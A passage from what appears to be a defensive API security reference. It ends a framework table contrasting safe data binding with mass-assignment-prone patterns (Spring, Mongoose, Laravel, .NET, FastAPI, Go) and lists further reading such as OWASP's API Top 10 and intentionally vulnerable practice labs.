| Spring | DTO + @JsonIgnore | @ModelAttribute on entity |
| Express + Mongoose | Schema select: false | new Model(req.body) |
| Laravel | $fillable | empty $fillable, uses $guarded = [] |
| .NET Core | View model binding | [FromBody] Entity directly |
| FastAPI | Pydantic models | Extra fields allowed by default |
| Go | Explicit struct tags | json.Unmarshal to DB struct |
Appendix C: Further Reading#
- OWASP API Security Top 10 2023 — https://owasp.org/API-Security/
- PortSwigger Web Security Academy: API testing, GraphQL
- Wallarm API ThreatStats (quarterly)
- APIsec University (free labs)
- HackerOne Hacktivity: filter by API weakness
- VAmPI, crAPI, DVGA — intentionally vulnerable API labs
- Books: “Hacking APIs” (Corey Ball), “Black Hat GraphQL”
Defensive security reference. Compiled for practitioner use in red-team / blue-team / developer education contexts.